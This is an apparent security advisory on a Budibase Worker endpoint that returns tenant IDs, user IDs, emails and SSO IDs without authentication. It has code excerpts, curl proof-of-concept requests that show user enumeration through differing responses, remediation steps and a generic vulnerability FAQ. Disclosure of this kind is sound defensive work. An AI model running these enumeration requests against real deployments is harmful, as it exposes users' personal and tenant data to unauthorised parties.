The Budibase Worker service exposes a public, unauthenticated API endpoint (GET /api/global/users/tenant/:id) that returns sensitive user information including tenantId, userId, email, and ssoId. The endpoint is registered in the PUBLIC_ENDPOINTS list with a TODO comment acknowledging it "should be an internal API." Any unauthenticated party can enumerate user emails or IDs to extract sensitive tenant and user metadata, enabling targeted attacks against multi-tenant deployments.
Public endpoint registration at packages/worker/src/api/index.ts lines 56-59:
// TODO: This should be an internal api
{
route: "/api/global/users/tenant/:id",
method: "GET",
},
This endpoint is listed in PUBLIC_ENDPOINTS, which is passed to auth.buildAuthMiddleware(PUBLIC_ENDPOINTS) at line 154. When a request matches a public endpoint pattern, the authentication middleware sets ctx.publicEndpoint = true and calls next() without performing any authentication (verified at packages/backend-core/src/middleware/authenticated.ts lines 124-126, 249-251).
All subsequent middleware also skips for public endpoints:
buildTenancyMiddleware — passes throughactiveTenant — passes throughbuildCsrfMiddleware — skipped for GET methods (line 48 of csrf.ts)budibaseAccess gate at lines 160-168 explicitly returns next() when ctx.publicEndpoint is trueRoute registration at packages/worker/src/api/routes/global/users.ts line 139:
loggedInRoutes
.get("/api/global/users/tenant/:id", controller.tenantUserLookup)
loggedInRoutes has no auth middleware group — it is created with endpointGroupList.group() (no middleware).
Handler implementation at packages/worker/src/api/controllers/global/users.ts lines 548-562:
export const tenantUserLookup = async (
ctx: UserCtx<void, LookupTenantUserResponse>
) => {
const id = ctx.params.id
// is email, check its valid
if (id.includes("@") && !emailValidator.validate(id)) {
ctx.throw(400, `${id} is not a valid email address to lookup.`)
}
const user = await userSdk.core.getFirstPlatformUser(id)
if (user) {
ctx.body = user // Returns full PlatformUser object — no field filtering
} else {
ctx.throw(400, "No tenant user found.")
}
}
The id parameter accepts either an email address (detected by @ presence) or a user ID. The response returns the full PlatformUser object from packages/types/src/documents/platform/users.ts:
export interface PlatformUserByEmail extends Document {
tenantId: string // Tenant identifier
userId: string // Internal user ID
}
export interface PlatformUserById extends Document {
tenantId: string // Tenant identifier
email?: string // User email address
ssoId?: string // SSO provider identifier
}
export interface PlatformUserBySsoId extends Document {
tenantId: string // Tenant identifier
userId: string // Internal user ID
email: string // User email address
ssoId?: string // SSO provider identifier
}
The lookup function (packages/backend-core/src/users/lookup.ts:48-53) queries the PLATFORM_USERS_LOWERCASE CouchDB view with include_docs: true, returning the complete platform user document including CouchDB _id and _rev.
Affected files:
packages/worker/src/api/index.ts:56-59 — Public endpoint registrationpackages/worker/src/api/routes/global/users.ts:139 — Route on unauthenticated grouppackages/worker/src/api/controllers/global/users.ts:548-562 — Handler returning full user objectpackages/backend-core/src/users/lookup.ts:48-53 — Platform user lookup with include_docs: truepackages/types/src/documents/platform/users.ts:6-36 — PlatformUser typesStatic verification:
packages/worker/src/api/index.ts:56-59: endpoint in PUBLIC_ENDPOINTS with // TODO: This should be an internal apipackages/worker/src/api/controllers/global/users.ts:548-562: no auth checks, returns ctx.body = user (full object)ctx.publicEndpoint === trueDynamic verification (requires running Budibase instance with at least one user):
# No authentication headers or cookies required
# Lookup by email:
curl -s http://localhost:4002/api/global/users/tenant/[email protected]
# Response (200 OK):
# {
# "_id": "[email protected]",
# "_rev": "1-abc123...",
# "tenantId": "tenant-uuid-here",
# "userId": "us_uuid-here"
# }
# Lookup by user ID:
curl -s http://localhost:4002/api/global/users/tenant/us_someuserid123
# Response (200 OK):
# {
# "_id": "us_someuserid123",
# "_rev": "1-abc123...",
# "tenantId": "tenant-uuid-here",
# "email": "[email protected]",
# "ssoId": "google-oauth-id"
# }
# Non-existent user:
curl -s http://localhost:4002/api/global/users/tenant/[email protected]
# Response: 400 "No tenant user found."
# (Different response confirms user enumeration)
Negative case: Requesting a non-existent user returns HTTP 400 with "No tenant user found.", while an existing user returns HTTP 200 with full data. The different status codes confirm user existence, enabling enumeration.
This is a CWE-200: Exposure of Sensitive Information to an Unauthorized Actor vulnerability.
Who is impacted: All Budibase deployments — both self-hosted and cloud. The impact is highest for multi-tenant (cloud) deployments where tenant IDs are security boundaries and user enumeration across tenants enables targeted attacks.
An unauthenticated attacker can:
userId) for use in other API calls or attacksssoId) which may link to external identity providers (Google, OIDC)_rev) which could assist in CouchDB-level attacksThe returned tenant IDs are particularly dangerous in multi-tenant deployments because they identify the security boundary between organizations. Combined with the hardcoded session keys (separate finding), an attacker could use enumerated tenant IDs to craft targeted session fixation attacks.
PUBLIC_ENDPOINTS and move it to internal-only routes, as the TODO comment at line 56 already suggestsbuilderOrAdmin role_rev, ssoId, and other sensitive fields)GET /api/global/users/tenant/:id returns 403 without authentication| Software | From | Fixed in |
|---|---|---|
@budibase / server
|
- | 3.38.1.x |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.